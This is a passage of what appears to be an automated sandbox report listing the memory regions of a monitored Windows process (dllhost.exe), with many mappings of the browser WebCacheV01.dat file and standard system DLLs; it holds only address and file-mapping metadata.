= 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002300000" filename = "" Region: id = 418 start_va = 0x2310000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002310000" filename = "" Region: id = 419 start_va = 0x2320000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002320000" filename = "" Region: id = 420 start_va = 0x2330000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002330000" filename = "" Region: id = 421 start_va = 0x2340000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002340000" filename = "" Region: id = 422 start_va = 0x2370000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 423 start_va = 0x2380000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 424 start_va = 0x2390000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 425 start_va = 0x23a0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 426 start_va = 0x23b0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 427 start_va = 0x23c0000 end_va = 0x24bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 428 start_va = 0x25c0000 end_va = 0x28f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 429 start_va = 0x2900000 end_va = 0x38fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 430 start_va = 0x3900000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 431 start_va = 0x3990000 end_va = 0x399ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 432 start_va = 0x39a0000 end_va = 0x39affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 433 start_va = 0x39b0000 end_va = 0x39bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 434 start_va = 0x39c0000 end_va = 0x39cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 435 start_va = 0x39d0000 end_va = 0x39dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 436 start_va = 0x39e0000 end_va = 0x39effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 437 start_va = 0x39f0000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 438 start_va = 0x3a00000 end_va = 0x3a07fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 439 start_va = 0x3a10000 end_va = 0x3a1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 440 start_va = 0x3a20000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 441 start_va = 0x3a30000 end_va = 0x3a3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 442 start_va = 0x3a40000 end_va = 0x3a4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 443 start_va = 0x3a50000 end_va = 0x3a57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 444 start_va = 0x3a60000 end_va = 0x3a6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 445 start_va = 0x3a70000 end_va = 0x3a7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 446 start_va = 0x3a80000 end_va = 0x3a8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a80000" filename = "" Region: id = 447 start_va = 0x3a90000 end_va = 0x3a9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 448 start_va = 0x3aa0000 end_va = 0x3aaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 449 start_va = 0x3ab0000 end_va = 0x3abffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 450 start_va = 0x3ac0000 end_va = 0x3acffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 451 start_va = 0x3ad0000 end_va = 0x3adffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 452 start_va = 0x3ae0000 end_va = 0x3aeffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 453 start_va = 0x3af0000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 454 start_va = 0x3b00000 end_va = 0x3b0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 455 start_va = 0x3b10000 end_va = 0x3b1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b10000" filename = "" Region: id = 456 start_va = 0x3b20000 end_va = 0x3b2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 457 start_va = 0x3b30000 end_va = 0x3b3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 458 start_va = 0x3b40000 end_va = 0x3b4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 459 start_va = 0x3b50000 end_va = 0x3c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 460 start_va = 0x3c50000 end_va = 0x3c5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 461 start_va = 0x3c60000 end_va = 0x3c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003c60000" filename = "" Region: id = 462 start_va = 0x3c70000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 463 start_va = 0x3c80000 end_va = 0x3c8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 464 start_va = 0x3ca0000 end_va = 0x3caffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 465 start_va = 0x3cb0000 end_va = 0x3daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cb0000" filename = "" Region: id = 466 start_va = 0x3db0000 end_va = 0x3eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003db0000" filename = "" Region: id = 467 start_va = 0x3eb0000 end_va = 0x3faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 468 start_va = 0x3fb0000 end_va = 0x40affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fb0000" filename = "" Region: id = 469 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 470 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 471 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 472 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 473 start_va = 0x7ff7f8d90000 end_va = 0x7ff7f8d96fff monitored = 0 entry_point = 0x7ff7f8d91570 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 474 start_va = 0x7ffb14670000 end_va = 0x7ffb14684fff monitored = 0 entry_point = 0x7ffb14675740 region_type = mapped_file name = "profext.dll" filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll") Region: id = 475 start_va = 0x7ffb18310000 end_va = 0x7ffb18608fff monitored = 0 entry_point = 0x7ffb183d7280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 476 start_va = 0x7ffb19d70000 end_va = 0x7ffb19ffdfff monitored = 0 entry_point = 0x7ffb19e40f00 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 477 start_va = 0x7ffb1f310000 end_va = 0x7ffb1f691fff monitored = 0 entry_point = 0x7ffb1f361220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 478 start_va = 0x7ffb23aa0000 end_va = 0x7ffb23b35fff monitored = 0 entry_point = 0x7ffb23ac5570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 479 start_va = 0x7ffb24610000 end_va = 0x7ffb24640fff monitored = 0 entry_point = 0x7ffb24617d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 480 start_va = 0x7ffb24880000 end_va = 0x7ffb2489efff monitored = 0 entry_point = 0x7ffb24885d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 481 start_va = 0x7ffb24bc0000 end_va = 0x7ffb24bcafff monitored = 0 entry_point = 0x7ffb24bc19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 482 start_va = 0x7ffb24fb0000 end_va = 0x7ffb24fd8fff monitored = 0 entry_point = 0x7ffb24fc4530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 483 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 484 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 485 start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 486 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 487 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 488 start_va = 0x7ffb256b0000 end_va = 0x7ffb25764fff monitored = 0 entry_point = 0x7ffb256f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 489 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 490 start_va = 0x7ffb25850000 end_va = 0x7ffb25e93fff monitored = 0 entry_point = 0x7ffb25a164b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 491 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 492 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 493 start_va = 0x7ffb261f0000 end_va = 0x7ffb2622afff monitored = 0 entry_point = 0x7ffb261f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 494 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 495 start_va = 0x7ffb262e0000 end_va = 0x7ffb26331fff monitored = 0 entry_point = 0x7ffb262ef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 496 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 497 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 498 start_va = 0x7ffb266b0000 end_va = 0x7ffb26756fff monitored = 0 entry_point = 0x7ffb266bb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 499 start_va = 0x7ffb267e0000 end_va = 0x7ffb27d3efff monitored = 0 entry_point = 0x7ffb269411f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 500 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 501 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 502 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 503 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 504 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 512 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 513 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 522 start_va = 0xa70000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 541 start_va = 0xa70000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 551 start_va = 0xa70000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 939 start_va = 0xa70000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 940 start_va = 0xa90000 end_va = 0xa97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 952 start_va = 0xa60000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 953 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 954 start_va = 0xa70000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 955 start_va = 0xa70000 end_va = 0xa77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 956 start_va = 0xa90000 end_va = 0xa97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 957 start_va = 0xaa0000 end_va = 0xaa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 958 start_va = 0xab0000 end_va = 0xab7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1622 start_va = 0xac0000 end_va = 0xac7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1623 start_va = 0x2350000 end_va = 0x2357fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 1624 start_va = 0x2360000 end_va = 0x2367fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 1625 start_va = 0x24c0000 end_va = 0x24c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 1626 start_va = 0x24d0000 end_va = 0x24d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 1704 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1705 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1706 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1707 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1708 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1709 start_va = 0x2350000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = 